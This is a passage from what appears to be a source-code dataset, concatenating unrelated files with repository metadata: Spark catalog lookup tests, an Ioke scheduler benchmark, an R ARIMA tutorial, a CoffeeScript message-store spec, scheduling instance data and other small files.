private val globalTempDB = SQLConf.get.getConf(StaticSQLConf.GLOBAL_TEMP_DATABASE)
private val catalogs =
Seq("prod", "test", globalTempDB).map(x => x -> DummyCatalogPlugin(x)).toMap
private val sessionCatalog = FakeV2SessionCatalog
override val catalogManager: CatalogManager = {
val manager = mock(classOf[CatalogManager])
when(manager.catalog(any())).thenAnswer((invocation: InvocationOnMock) => {
val name = invocation.getArgument[String](0)
catalogs.getOrElse(name, throw new CatalogNotFoundException(s"$name not found"))
})
when(manager.currentCatalog).thenReturn(sessionCatalog)
when(manager.v2SessionCatalog).thenReturn(sessionCatalog)
when(manager.currentNamespace).thenReturn(Array.empty[String])
manager
}
test("catalog and identifier") {
Seq(
("tbl", sessionCatalog, Seq.empty, "tbl"),
("db.tbl", sessionCatalog, Seq("db"), "tbl"),
(s"$globalTempDB.tbl", sessionCatalog, Seq(globalTempDB), "tbl"),
(s"$globalTempDB.ns1.ns2.tbl", sessionCatalog, Seq(globalTempDB, "ns1", "ns2"), "tbl"),
("prod.func", catalogs("prod"), Seq.empty, "func"),
("ns1.ns2.tbl", sessionCatalog, Seq("ns1", "ns2"), "tbl"),
("prod.db.tbl", catalogs("prod"), Seq("db"), "tbl"),
("test.db.tbl", catalogs("test"), Seq("db"), "tbl"),
("test.ns1.ns2.ns3.tbl", catalogs("test"), Seq("ns1", "ns2", "ns3"), "tbl"),
("`db.tbl`", sessionCatalog, Seq.empty, "db.tbl"),
("parquet.`file:/tmp/db.tbl`", sessionCatalog, Seq("parquet"), "file:/tmp/db.tbl"),
("`org.apache.spark.sql.json`.`s3://buck/tmp/abc.json`", sessionCatalog,
Seq("org.apache.spark.sql.json"), "s3://buck/tmp/abc.json")).foreach {
case (sql, expectedCatalog, namespace, name) =>
inside(parseMultipartIdentifier(sql)) {
case CatalogAndIdentifier(catalog, ident) =>
catalog shouldEqual expectedCatalog
ident shouldEqual Identifier.of(namespace.toArray, name)
}
}
}
test("table identifier") {
Seq(
("tbl", "tbl", None),
("db.tbl", "tbl", Some("db")),
("`db.tbl`", "db.tbl", None),
("parquet.`file:/tmp/db.tbl`", "file:/tmp/db.tbl", Some("parquet")),
("`org.apache.spark.sql.json`.`s3://buck/tmp/abc.json`", "s3://buck/tmp/abc.json",
Some("org.apache.spark.sql.json"))).foreach {
case (sql, table, db) =>
inside (parseMultipartIdentifier(sql)) {
case AsTableIdentifier(ident) =>
ident shouldEqual TableIdentifier(table, db)
}
}
Seq(
"prod.func",
"prod.db.tbl",
"ns1.ns2.tbl").foreach { sql =>
parseMultipartIdentifier(sql) match {
case AsTableIdentifier(_) =>
fail(s"$sql should not be resolved as TableIdentifier")
case _ =>
}
}
}
}
class LookupCatalogWithDefaultSuite extends SparkFunSuite with LookupCatalog with Inside {
import CatalystSqlParser._
private val catalogs = Seq("prod", "test").map(x => x -> DummyCatalogPlugin(x)).toMap
override val catalogManager: CatalogManager = {
val manager = mock(classOf[CatalogManager])
when(manager.catalog(any())).thenAnswer((invocation: InvocationOnMock) => {
val name = invocation.getArgument[String](0)
catalogs.getOrElse(name, throw new CatalogNotFoundException(s"$name not found"))
})
when(manager.currentCatalog).thenReturn(catalogs("prod"))
when(manager.currentNamespace).thenReturn(Array.empty[String])
manager
}
test("catalog and identifier") {
Seq(
("tbl", catalogs("prod"), Seq.empty, "tbl"),
("db.tbl", catalogs("prod"), Seq("db"), "tbl"),
("prod.func", catalogs("prod"), Seq.empty, "func"),
("ns1.ns2.tbl", catalogs("prod"), Seq("ns1", "ns2"), "tbl"),
("prod.db.tbl", catalogs("prod"), Seq("db"), "tbl"),
("test.db.tbl", catalogs("test"), Seq("db"), "tbl"),
("test.ns1.ns2.ns3.tbl", catalogs("test"), Seq("ns1", "ns2", "ns3"), "tbl"),
("`db.tbl`", catalogs("prod"), Seq.empty, "db.tbl"),
("parquet.`file:/tmp/db.tbl`", catalogs("prod"), Seq("parquet"), "file:/tmp/db.tbl"),
("`org.apache.spark.sql.json`.`s3://buck/tmp/abc.json`", catalogs("prod"),
Seq("org.apache.spark.sql.json"), "s3://buck/tmp/abc.json")).foreach {
case (sql, expectedCatalog, namespace, name) =>
inside(parseMultipartIdentifier(sql)) {
case CatalogAndIdentifier(catalog, ident) =>
catalog shouldEqual expectedCatalog
ident shouldEqual Identifier.of(namespace.toArray, name)
}
}
}
test("table identifier") {
Seq(
"tbl",
"db.tbl",
"`db.tbl`",
"parquet.`file:/tmp/db.tbl`",
"`org.apache.spark.sql.json`.`s3://buck/tmp/abc.json`",
"prod.func",
"prod.db.tbl",
"ns1.ns2.tbl").foreach { sql =>
parseMultipartIdentifier(sql) match {
case AsTableIdentifier(_) =>
fail(s"$sql should not be resolved as TableIdentifier")
case _ =>
}
}
}
}
| Scala | 5 | OlegPt/spark | sql/catalyst/src/test/scala/org/apache/spark/sql/connector/catalog/LookupCatalogSuite.scala | [
"Apache-2.0"
] |
; Based on V8 JavaScript richards
ID_IDLE = 0
ID_WORKER = 1
ID_HANDLER_A = 2
ID_HANDLER_B = 3
ID_DEVICE_A = 4
ID_DEVICE_B = 5
NUMBER_OF_IDS = 6
COUNT = 10000
EXPECTED_QUEUE_COUNT = 23246
EXPECTED_HOLD_COUNT = 9297
STATE_RUNNING = 0
STATE_RUNNABLE = 1
STATE_SUSPENDED = 2
STATE_HELD = 4
STATE_SUSPENDED_RUNNABLE = STATE_SUSPENDED | STATE_RUNNABLE
STATE_NOT_HELD = -5
DATA_SIZE = 4
; The Richards benchmark simulates the task dispatcher of an
; operating system.
runRichards = method(
scheduler = Scheduler create
scheduler addIdleTask(ID_IDLE, 0, nil, COUNT)
queue = Packet create(link: nil, id: ID_WORKER, kind: :work)
queue = Packet create(link: queue, id: ID_WORKER, kind: :work)
scheduler addWorkerTask(ID_WORKER, 1000, queue)
queue = Packet create(link: nil, id: ID_DEVICE_A, kind: :device)
queue = Packet create(link: queue, id: ID_DEVICE_A, kind: :device)
queue = Packet create(link: queue, id: ID_DEVICE_A, kind: :device)
scheduler addHandlerTask(ID_HANDLER_A, 2000, queue)
queue = Packet create(link: nil, id: ID_DEVICE_B, kind: :device)
queue = Packet create(link: queue, id: ID_DEVICE_B, kind: :device)
queue = Packet create(link: queue, id: ID_DEVICE_B, kind: :device)
scheduler addHandlerTask(ID_HANDLER_B, 3000, queue)
scheduler addDeviceTask(ID_DEVICE_A, 4000, nil)
scheduler addDeviceTask(ID_DEVICE_B, 5000, nil)
scheduler schedule!
if(scheduler queueCount != EXPECTED_QUEUE_COUNT || scheduler holdCount != EXPECTED_HOLD_COUNT,
error!("Error during execution: queueCount = #{scheduler queueCount}, holdCount = #{scheduler holdCount}."))
)
Scheduler = Origin mimic do(
create = method(
with(
queueCount: 0,
holdCount: 0,
blocks: [nil] * NUMBER_OF_IDS,
workList: nil,
currentTcb: nil,
currentId: nil
)
)
addIdleTask = method(id, priority, queue, count,
addRunningTask(id, priority, queue, IdleTask with(scheduler: self, v1: 1, count: count))
)
addWorkerTask = method(id, priority, queue,
addTask(id, priority, queue, WorkerTask with(scheduler: self, v1: ID_HANDLER_A, v2: 0))
)
addHandlerTask = method(id, priority, queue,
addTask(id, priority, queue, HandlerTask with(scheduler: self))
)
addDeviceTask = method(id, priority, queue,
addTask(id, priority, queue, DeviceTask with(scheduler: self))
)
addRunningTask = method(id, priority, queue, task,
addTask(id, priority, queue, task)
currentTcb running!
)
addTask = method(id, priority, queue, task,
@currentTcb = TaskControlBlock create(link: workList, id: id, priority: priority, queue: queue, task: task)
@workList = currentTcb
blocks[id] = currentTcb
)
schedule! = method(
@currentTcb = workList
while(currentTcb,
if(currentTcb heldOrSuspended?,
@currentTcb = currentTcb link,
@currentId = currentTcb id
@currentTcb = currentTcb run!
)
)
)
release = method(id,
tcb = blocks[id]
unless(tcb, return tcb)
tcb markAsNotHeld!
if(tcb priority > currentTcb priority,
tcb,
currentTcb)
)
holdCurrent = method(
@holdCount ++
currentTcb markAsHeld!
currentTcb link
)
suspendCurrent = method(
currentTcb markAsSuspended!
currentTcb
)
queue = method(packet,
t = blocks[packet id]
unless(t, return t)
@queueCount ++
packet link = nil
packet id = currentId
t checkPriorityAdd(currentTcb, packet)
)
)
TaskControlBlock = Origin mimic do(
create = method(link:, id:, priority:, queue:, task:,
with(link: link, id: id, priority: priority, queue: queue, task: task) tap(x,
x state = if(x queue, STATE_SUSPENDED_RUNNABLE, STATE_SUSPENDED)
)
)
running! = method(@state = STATE_RUNNING)
markAsNotHeld! = method(@state = state & STATE_NOT_HELD)
markAsHeld! = method(@state = state | STATE_HELD)
heldOrSuspended? = method(((state & STATE_HELD) != 0) || (state == STATE_SUSPENDED))
markAsSuspended! = method(@state = state | STATE_SUSPENDED)
markAsRunnable! = method(@state = state | STATE_RUNNABLE)
run! = method(
task run(
if(state == STATE_SUSPENDED_RUNNABLE,
packet = queue
@queue = packet link
@state = if(queue, STATE_RUNNABLE, STATE_RUNNING)
packet,
nil)
)
)
checkPriorityAdd = method(task, packet,
if(queue,
@queue = packet addTo(queue),
@queue = packet
markAsRunnable!
if(priority > task priority, return self))
task)
asText = method(
"tcb { #{task}@#{state} }"
)
)
IdleTask = Origin mimic do(
run = method(packet,
@count --
if(count == 0, return(scheduler holdCurrent))
if((v1 & 1) == 0,
@v1 = v1 >> 1
scheduler release(ID_DEVICE_A),
@v1 = (v1 >> 1) ^ 53256
scheduler release(ID_DEVICE_B)))
asText = "IdleTask"
)
DeviceTask = Origin mimic do(
v1 = nil
run = method(packet,
if(packet,
@v1 = packet
scheduler holdCurrent,
unless(v1, return(scheduler suspendCurrent))
v = v1
@v1 = nil
scheduler queue(v)))
asText = "DeviceTask"
)
WorkerTask = Origin mimic do(
run = method(packet,
if(packet,
@v1 = if(v1 == ID_HANDLER_A, ID_HANDLER_B, ID_HANDLER_A)
packet id = v1
packet a1 = 0
(0...DATA_SIZE) each(i,
@v2 ++
if(v2 > 26, @v2 = 1)
packet a2[i] = v2)
scheduler queue(packet),
scheduler suspendCurrent))
asText = "WorkerTask"
)
HandlerTask = Origin mimic do(
v1 = nil
v2 = nil
run = method(packet,
if(packet,
if(packet kind == :work,
@v1 = packet addTo(v1),
@v2 = packet addTo(v2)))
if(v1,
count = v1 a1
if(count < DATA_SIZE,
if(v2,
v = v2
@v2 = v2 link
v a1 = v1 a2[count]
v1 a1 = count + 1
return(scheduler queue(v))),
v = v1
@v1 = v1 link
return(scheduler queue(v))))
scheduler suspendCurrent
)
asText = "HandlerTask"
)
Packet = Origin mimic do(
create = method(link:, id:, kind:,
with(link: link, id: id, kind: kind) tap(x,
x a1 = 0
x a2 = [nil] * DATA_SIZE
)
)
addTo = method(queue,
@link = nil
unless(queue, return self)
next = queue
while(peek = next link,
next = peek)
next link = self
queue
)
asText = method("Packet<link=#{link}, id=#{id}, kind=#{@kind}, a1=#{a1}, a2=#{a2 map(x, if(x nil?, "", x asText)) join(",")}>")
)
System ifMain(
use("benchmark")
Benchmark report(runRichards)
)
| Ioke | 5 | olabini/ioke | bench/richards.ik | [
"ICU",
"MIT"
] |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<h1>Hello world!</h1>
</body>
</html> | ColdFusion | 3 | PushpneetSingh/Hello-world | Lucee/lucee/code/index.cfm | [
"MIT"
] |
---
title: "Auto-regressive integrated moving average models"
output: html_notebook
---
```{r}
library(dplyr)
library(lubridate)
library(tidyr)
library(climate)
library(fable)
library(feasts)
library(tsibble)
library(rsample)
options(dplyr.summarise.inform=F)
```
# Introduction
ARIMA stands for Auto-Regressive Integrated Moving Average. Let's go through each one of these concepts one by one.
## Auto-regressive
$$y_t = c + \rho_1 y_{t-1} + \rho_2 y_{t-2} + e_t$$
The autoregressive part of the model assumes that the best way to explain the current value in a time series is using a set number of the past observations. In this case, we are looking at a AR(2) model, and $\rho_1$ and $\rho_2$ are the parameters of interest for the model.
## Moving average
The moving average component assumes that the best explanation for a time series is the error term of the previous values in the series:
$$y_t = c + \mu_1 e_{t-1} + \mu_1 e_{t-2} + e_t$$
This would be a MA(2) model, and $\mu_1$ and $\mu_2$ are the parameters of interest of the model.
## Integrated
This value determines the amount of times we differentiate the series ($y_t-y_{t-1}$) for the AR and MA models above.
The final equation depends on the integrated term. For more information on the functional form of the seasonal ARIMA, please check the fable documentation.
The parameters we are going to use below are $p$ for the AR component, $d$ for the integrated component, and $q$ for the MA component.
# Data processing
For this tutorial we are going to use the CO2 data available in the climate package.
```{r}
data <- climate::meteo_noaa_co2() %>% select(yy, mm, co2_avg) %>% filter(yy < 2003)
data %>% head(25)
```
We would like to reorganize the data set in monthly data.
```{r}
y <- data %>%
group_by(year_month = yearmonth(ISOdate(yy, mm, 1))) %>%
summarize(co2 = mean(co2_avg)) %>%
as_tsibble()
```
There are no missing months, but if there were, we would fill them like this...
```{r}
y <- y %>%
fill_gaps() %>%
fill(co2)
```
```{r}
autoplot(y)
```
```{r}
y %>%
features(co2, unitroot_kpss)
```
```{r}
y %>%
mutate(diff_co2 = difference(co2)) %>%
features(diff_co2, unitroot_kpss)
```
```{r}
y %>%
mutate(diff_co2 = difference(co2)) %>%
autoplot(diff_co2)
```
# Grid search
Since we have little information about the data generating process that generates the data we are going to study, we can use a grid search to determine the set of parameters that best explains the data using a simple metric: the Akaike Information Criteria.
The AIC is a tool we use to measure the performance of a model. By itself it does not really provide much information, but it shines when it is used to compare two or more models.
```{r}
y %>%
model(ARIMA(co2 ~ 0 + pdq(0, 1, 1) + PDQ(0, 0, 0))) %>%
report()
```
```{r}
y %>%
mutate(diff_co2 = difference(co2)) %>%
model(ARIMA(diff_co2 ~ 0 + pdq(0, 0, 1) + PDQ(0, 0, 0))) %>%
report()
```
```{r}
y %>%
model(ARIMA(co2 ~ 0 + pdq(0:2, 0:2, 0:2) + PDQ(0, 0, 0), ic="aic")) %>%
report()
```
According to this calculation, ARIMA(2,1,1) is the best performing model in terms of AIC out of the set of possible parameters analyzed.
```{r}
y %>%
model(ARIMA(co2 ~ 0 + pdq(2, 1, 1) + PDQ(0, 0, 0))) %>%
coef()
```
```{r}
split <- initial_time_split(y, 0.9)
fit <- training(split) %>%
model(ARIMA(co2 ~ 0 + pdq(2, 1, 1) + PDQ(0, 0, 0)))
fc <- fit %>%
forecast(h = nrow(testing(split)))
```
```{r}
fc %>% accuracy(testing(split))
```
```{r}
fc %>% autoplot(testing(split))
```
The forecast is not great, primarily because our model does not take into consideration the clearly seasonal model of the data.
We can expand this experiment by allowing a seasonal component to be added to the modeling. With long and clearly seasonal data sets like this one, it might generate better results.
# Seasonal ARIMA
We can include a seasonal component to the estimation of the time series to incorporate the typical monthly behavior not included in traditional ARIMA analysis.
```{r}
y %>%
model(ARIMA(co2 ~ 0 + pdq(0:2, 0:2, 0:2) + PDQ(0:1, 0:1, 0:1), ic="aic")) %>%
report()
```
```{r}
y %>%
model(ARIMA(co2 ~ 0 + pdq(0, 1, 1) + PDQ(1, 1, 1))) %>%
coef()
```
```{r}
fit <- training(split) %>%
model(ARIMA(co2 ~ 0 + pdq(0, 1, 1) + PDQ(1, 1, 1)))
fc <- fit %>%
forecast(h = nrow(testing(split)))
```
```{r}
fc %>% accuracy(testing(split))
```
```{r}
fc %>% autoplot(testing(split))
```
# Some notes
* This notebook tries to mimic the python version, however there are some differences.
* in theory the data set is the same (CO2 Mauna Loa (NOAA)), but in practice it is a bit different
* this notebook uses the KPSS test instead of the ADF test.
* the optimal seasonal ARIMA in this notebook has a non-seasonal component that is not auto-regressive ($p=0$).
* We determined the best model using the AIC. There are other target functions you can use to choose your $p$, $d$, and $q$ parameters. One possibility is the mean square error between the predicted values given a set of parameters, and the test set.
* An alternative way to check whether we have the right set of parameters is to check the ACF of the errors.
* We must not forget to check whether the chosen parameters to explain our model fit our understanding of the underlying data. | RMarkdown | 5 | datenzauberai/btsa | R/intro_forecasting/intro_arima.rmd | [
"MIT"
] |
// Copyright (c) 2017-2019 Bluespec, Inc. All Rights Reserved.
package DM_CPU_Req_Rsp;
// ================================================================
// This package defines types for register access request and response
// ================================================================
// BSV library imports
// None
// ================================================================
// Project imports
// None
// ================================================================
// Requests and responses
typedef struct {
Bool write;
Bit #(a) address;
Bit #(d) data;
} DM_CPU_Req #(numeric type a, numeric type d)
deriving (Bits, Eq, FShow);
typedef struct {
Bool ok;
Bit #(d) data;
} DM_CPU_Rsp #(numeric type d)
deriving (Bits, Eq, FShow);
// ================================================================
endpackage
| Bluespec | 4 | Skydive/Piccolo | src_Core/Debug_Module/DM_CPU_Req_Rsp.bsv | [
"Apache-2.0"
] |
// direct radiation
light_source {<0,0,1000> color L*(1-df)*<1,1,1> rotate <Ze, 0, Az> parallel} // sun | POV-Ray SDL | 3 | lsymuyu/Digital-Plant-Phenotyping-Platform | Phenotyping/light.pov | [
"MIT"
] |
_ = require 'underscore'
Thread = require('../../src/flux/models/thread').default
Category = require('../../src/flux/models/category').default
Message = require('../../src/flux/models/message').default
FocusedContentStore = require '../../src/flux/stores/focused-content-store'
FocusedPerspectiveStore = require('../../src/flux/stores/focused-perspective-store').default
MessageStore = require '../../src/flux/stores/message-store'
DatabaseStore = require('../../src/flux/stores/database-store').default
ChangeUnreadTask = require('../../src/flux/tasks/change-unread-task').default
Actions = require('../../src/flux/actions').default
testThread = new Thread(id: '123', accountId: TEST_ACCOUNT_ID)
testMessage1 = new Message(id: 'a', body: '123', files: [], accountId: TEST_ACCOUNT_ID)
testMessage2 = new Message(id: 'b', body: '123', files: [], accountId: TEST_ACCOUNT_ID)
testMessage3 = new Message(id: 'c', body: '123', files: [], accountId: TEST_ACCOUNT_ID)
describe "MessageStore", ->
describe "when the receiving focus changes from the FocusedContentStore", ->
beforeEach ->
if MessageStore._onFocusChangedTimer
clearTimeout(MessageStore._onFocusChangedTimer)
MessageStore._onFocusChangedTimer = null
spyOn(MessageStore, '_onApplyFocusChange')
afterEach ->
if MessageStore._onFocusChangedTimer
clearTimeout(MessageStore._onFocusChangedTimer)
MessageStore._onFocusChangedTimer = null
describe "if no change has happened in the last 100ms", ->
it "should apply immediately", ->
FocusedContentStore.trigger(impactsCollection: (c) -> true )
expect(MessageStore._onApplyFocusChange).toHaveBeenCalled()
describe "if a change has happened in the last 100ms", ->
it "should not apply immediately", ->
noop = =>
MessageStore._onFocusChangedTimer = setTimeout(noop, 100)
FocusedContentStore.trigger(impactsCollection: (c) -> true )
expect(MessageStore._onApplyFocusChange).not.toHaveBeenCalled()
it "should apply 100ms after the last focus change and reset", ->
FocusedContentStore.trigger(impactsCollection: (c) -> true )
expect(MessageStore._onApplyFocusChange.callCount).toBe(1)
advanceClock(50)
FocusedContentStore.trigger(impactsCollection: (c) -> true )
expect(MessageStore._onApplyFocusChange.callCount).toBe(1)
advanceClock(50)
FocusedContentStore.trigger(impactsCollection: (c) -> true )
expect(MessageStore._onApplyFocusChange.callCount).toBe(1)
advanceClock(150)
FocusedContentStore.trigger(impactsCollection: (c) -> true )
expect(MessageStore._onApplyFocusChange.callCount).toBe(3)
advanceClock(150)
FocusedContentStore.trigger(impactsCollection: (c) -> true )
expect(MessageStore._onApplyFocusChange.callCount).toBe(5)
describe "items", ->
beforeEach ->
MessageStore._showingHiddenItems = false
MessageStore._items = [
new Message(categories: [new Category(displayName: 'bla'), new Category(name: 'trash')]),
new Message(categories: [new Category(name: 'inbox')]),
new Message(categories: [new Category(name: 'bla'), new Category(name: 'spam')]),
new Message(categories: []),
new Message(categories: [], draft: true),
]
describe "when showing hidden items", ->
it "should return the entire items array", ->
MessageStore._showingHiddenItems = true
expect(MessageStore.items().length).toBe(5)
describe "when in trash or spam", ->
it "should show only the message which are in trash or spam, and drafts", ->
spyOn(FocusedPerspectiveStore, 'current').andReturn({categoriesSharedName: => 'trash'})
expect(MessageStore.items()).toEqual([
MessageStore._items[0],
MessageStore._items[2],
MessageStore._items[4],
])
describe "when in another folder", ->
it "should hide all of the messages which are in trash or spam", ->
spyOn(FocusedPerspectiveStore, 'current').andReturn({categoriesSharedName: => 'inbox'})
expect(MessageStore.items()).toEqual([
MessageStore._items[1],
MessageStore._items[3],
MessageStore._items[4],
])
describe "when applying focus changes", ->
beforeEach ->
MessageStore._lastLoadedThreadId = null
@focus = null
spyOn(FocusedContentStore, 'focused').andCallFake (collection) =>
if collection is 'thread'
@focus
else
null
spyOn(FocusedContentStore, 'focusedId').andCallFake (collection) =>
if collection is 'thread'
@focus?.id
else
null
spyOn(DatabaseStore, 'findAll').andCallFake ->
include: -> @
where: -> @
then: (callback) -> callback([testMessage1, testMessage2])
it "should retrieve the focused thread", ->
@focus = testThread
MessageStore._thread = null
MessageStore._onApplyFocusChange()
expect(DatabaseStore.findAll).toHaveBeenCalled()
expect(DatabaseStore.findAll.mostRecentCall.args[0]).toBe(Message)
describe "when the thread is already focused", ->
it "should do nothing", ->
@focus = testThread
MessageStore._thread = @focus
MessageStore._onApplyFocusChange()
expect(DatabaseStore.findAll).not.toHaveBeenCalled()
describe "when the thread is unread", ->
beforeEach ->
@focus = null
MessageStore._onApplyFocusChange()
testThread.unread = true
spyOn(Actions, 'setUnreadThreads')
spyOn(NylasEnv.config, 'get').andCallFake (key) =>
if key is 'core.reading.markAsReadDelay'
return 600
it "should queue a task to mark the thread as read", ->
@focus = testThread
MessageStore._onApplyFocusChange()
advanceClock(500)
expect(Actions.setUnreadThreads).not.toHaveBeenCalled()
advanceClock(500)
expect(Actions.setUnreadThreads).toHaveBeenCalled()
it "should not queue a task to mark the thread as read if the thread is no longer selected 500msec later", ->
@focus = testThread
MessageStore._onApplyFocusChange()
advanceClock(500)
expect(Actions.setUnreadThreads).not.toHaveBeenCalled()
@focus = null
MessageStore._onApplyFocusChange()
advanceClock(500)
expect(Actions.setUnreadThreads).not.toHaveBeenCalled()
it "should not re-mark the thread as read when made unread", ->
@focus = testThread
testThread.unread = false
MessageStore._onApplyFocusChange()
advanceClock(500)
expect(Actions.setUnreadThreads).not.toHaveBeenCalled()
# This simulates a DB change or some attribute changing on the
# thread.
testThread.unread = true
MessageStore._fetchFromCache()
advanceClock(500)
expect(Actions.setUnreadThreads).not.toHaveBeenCalled()
describe "when toggling expansion of all messages", ->
beforeEach ->
MessageStore._items = [testMessage1, testMessage2, testMessage3]
spyOn(MessageStore, '_fetchExpandedAttachments')
it 'should expand all when at default state', ->
MessageStore._itemsExpanded = {c: 'default'}
Actions.toggleAllMessagesExpanded()
expect(MessageStore._itemsExpanded).toEqual a: 'explicit', b: 'explicit', c: 'explicit'
it 'should expand all when at least one item is collapsed', ->
MessageStore._itemsExpanded = {b: 'explicit', c: 'explicit'}
Actions.toggleAllMessagesExpanded()
expect(MessageStore._itemsExpanded).toEqual a: 'explicit', b: 'explicit', c: 'explicit'
it 'should collapse all except the latest message when all expanded', ->
MessageStore._itemsExpanded = {a: 'explicit', b: 'explicit', c: 'explicit'}
Actions.toggleAllMessagesExpanded()
expect(MessageStore._itemsExpanded).toEqual c: 'explicit'
| CoffeeScript | 4 | cnheider/nylas-mail | packages/client-app/spec/stores/message-store-spec.coffee | [
"MIT"
] |
30 3 3 0
0 1 3 3 1 2 [0 0 0] [0 0 0] [0 0 0]
1 3 1 26 [13 9 17 8 11 7 0 5 7]
2 3 2 17 19 [5 7 8 4 10 6 11 7 13] [11 6 10 1 5 6 2 2 0]
3 3 3 10 31 5 [12 0 12 2 0 0 7 9 2] [8 1 5] [10 15 5 2 0 1 0 6 8]
4 3 3 15 31 22 [10 7 1 8 2 17 1 0 0] [6 9 1] [8 1 10 10 2 15 0 2 2]
5 3 2 31 21 [3 1 6] [2 1 1 0 2 0 7 3 10]
6 3 2 26 13 [-5 -7 -11 -6 -11 -12 -12 -10 -8] [5 2 1 10 9 3 2 2 0]
7 3 3 18 31 28 [6 4 6 7 8 6 10 14 6] [3 8 9] [4 2 2 1 3 9 8 17 14]
8 3 2 25 16 [6 0 2 7 8 13 7 1 8] [7 8 4 4 11 15 6 1 0]
9 3 2 31 28 [6 5 1] [12 1 8 8 7 10 1 0 0]
10 3 2 9 31 [1 2 1 4 9 9 0 1 8] [1 9 6]
11 3 2 4 31 [2 3 0 2 11 3 5 9 16] [2 6 8]
12 3 3 20 13 7 [1 3 1 3 2 2 4 0 2] [-22 -20 -17 -22 -27 -13 -19 -13 -24] [4 4 3 3 1 1 3 3 4]
13 3 2 23 14 [6 6 6 7 20 19 1 2 2] [2 2 5 14 15 5 4 4 2]
14 3 1 11 [10 8 4 9 8 2 7 8 1]
15 3 4 20 4 31 7 [-28 -60 -60 -49 -58 -65 -31 -61 -32] [-26 -42 -35 -44 -67 -52 -69 -51 -31] [10 10 7] [15 4 0 11 12 7 12 7 3]
16 3 3 27 14 25 [2 1 0 2 6 0 6 7 10] [0 0 0 2 1 2 1 0 3] [2 2 2 5 4 4 2 2 1]
17 3 3 10 24 31 [2 3 0 1 7 2 17 17 13] [4 1 1 3 5 0 16 16 0] [2 5 9]
18 3 4 28 31 30 7 [1 1 2 0 2 2 5 0 6] [1 1 4] [2 0 0 0 1 2 1 3 1] [-8 -9 -9 -8 -8 -12 -8 -12 -8]
19 3 2 17 31 [13 5 9 12 1 8 1 8 0] [7 10 6]
20 3 2 8 29 [8 7 3 5 4 5 1 4 3] [1 15 13 6 3 6 4 1 1]
21 3 3 3 31 10 [-13 -14 -12 -7 -8 -7 -12 -14 -14] [2 6 7] [1 0 3 5 12 6 1 2 11]
22 3 2 29 31 [2 6 3 1 1 1 19 10 9] [3 1 10]
23 3 2 11 12 [13 11 1 15 12 6 7 3 3] [2 2 1 8 16 1 0 14 4]
24 3 2 31 25 [3 8 3] [6 3 4 15 1 3 3 1 2]
25 3 4 24 29 22 31 [-9 -5 -9 -7 -10 -9 -9 -11 -12] [0 1 1 6 2 1 0 9 4] [3 0 1 6 4 1 17 17 17] [2 3 9]
26 3 1 6 [15 7 5 16 2 14 7 7 0]
27 3 2 31 14 [2 10 6] [1 1 2 8 2 19 7 1 6]
28 3 2 10 31 [-6 -12 -11 -5 -9 -14 -6 -7 -7] [5 1 1]
29 3 2 22 31 [-14 -11 -7 -7 -9 -15 -15 -13 -8] [3 6 10]
30 3 1 31 [8 3 3]
31 1 0
0 1 0 0 0 0 0 0 0
1 1 9 6 10 1 10 7 4
2 8 8 6 4 6 4 4
3 4 4 4 6 9 3 5
2 1 6 4 4 2 3 8 10
2 6 7 7 9 7 1 6
3 7 6 10 5 3 6 10
3 1 8 9 4 6 10 7 5
2 1 1 10 5 9 10 7
3 5 9 9 8 1 10 9
4 1 6 8 3 6 1 1 3
2 9 10 2 4 9 5 5
3 1 3 3 4 8 3 4
5 1 3 4 6 3 9 3 7
2 1 4 1 9 5 2 7
3 6 1 10 9 7 9 3
6 1 4 3 4 10 9 9 6
2 5 6 3 2 7 10 3
3 1 6 8 5 3 5 8
7 1 3 5 6 8 2 10 10
2 8 6 5 4 10 8 9
3 9 6 4 7 6 7 10
8 1 6 8 9 2 6 8 5
2 8 5 8 5 2 4 1
3 6 7 9 7 6 5 2
9 1 6 10 4 3 7 5 7
2 5 9 7 4 2 1 3
3 1 9 6 1 9 1 3
10 1 1 10 3 1 3 1 7
2 9 7 1 1 7 1 10
3 6 9 6 3 9 5 2
11 1 2 8 2 8 4 4 5
2 6 10 10 6 9 6 6
3 8 8 9 1 2 7 10
12 1 2 7 9 4 10 6 1
2 2 10 2 9 5 1 10
3 2 6 1 9 1 8 6
13 1 3 8 2 1 1 6 6
2 10 1 2 2 3 9 10
3 2 8 5 9 7 8 7
14 1 5 7 1 2 9 4 7
2 6 5 10 1 4 2 4
3 5 5 2 9 3 2 4
15 1 10 9 3 5 7 1 10
2 10 10 2 3 2 2 3
3 7 7 1 1 3 6 9
16 1 1 1 5 6 3 10 6
2 5 5 7 1 1 1 6
3 6 3 5 10 3 8 8
17 1 2 6 8 10 8 3 9
2 5 10 5 4 8 5 7
3 9 10 5 1 9 5 8
18 1 1 6 3 7 8 10 4
2 1 5 6 2 9 1 4
3 4 4 7 2 4 6 5
19 1 7 8 4 4 8 10 9
2 10 6 5 3 7 7 3
3 6 1 5 2 4 3 2
20 1 8 10 3 10 10 4 7
2 3 9 2 3 4 1 9
3 2 6 5 10 9 7 10
21 1 2 1 3 4 3 1 4
2 6 5 4 4 9 2 10
3 7 2 7 2 10 5 9
22 1 3 7 6 9 8 9 10
2 1 3 10 6 10 8 3
3 10 5 1 5 4 8 1
23 1 8 7 6 10 7 9 10
2 8 10 5 7 1 5 5
3 7 2 6 10 1 4 9
24 1 3 3 5 4 4 1 3
2 8 2 6 7 4 10 8
3 3 4 6 2 9 9 8
25 1 2 5 2 4 7 10 4
2 3 5 3 8 10 2 3
3 9 4 2 10 7 4 9
26 1 8 9 6 1 8 8 9
2 9 2 10 2 10 4 5
3 5 4 3 10 3 4 8
27 1 2 10 10 1 8 9 3
2 10 4 4 3 9 3 4
3 6 1 4 1 3 1 7
28 1 5 5 3 4 3 8 7
2 1 10 5 1 6 5 2
3 1 4 3 7 10 2 8
29 1 3 1 5 6 2 4 9
2 6 9 7 3 10 4 8
3 10 1 8 10 7 1 1
30 1 8 1 9 1 9 6 10
2 3 6 4 10 6 3 3
3 3 2 7 4 1 8 10
31 1 0 0 0 0 0 0 0
83 76 65 220 415 634
| Eagle | 2 | klorel/or-tools | examples/data/rcpsp/multi_mode_max_delay/testset_mm30/psp56.sch | [
"Apache-2.0"
] |
import numpy as np
import pytest
import pandas as pd
import pandas._testing as tm
class TestConvertDtypes:
@pytest.mark.parametrize(
"convert_integer, expected", [(False, np.dtype("int32")), (True, "Int32")]
)
def test_convert_dtypes(self, convert_integer, expected, string_storage):
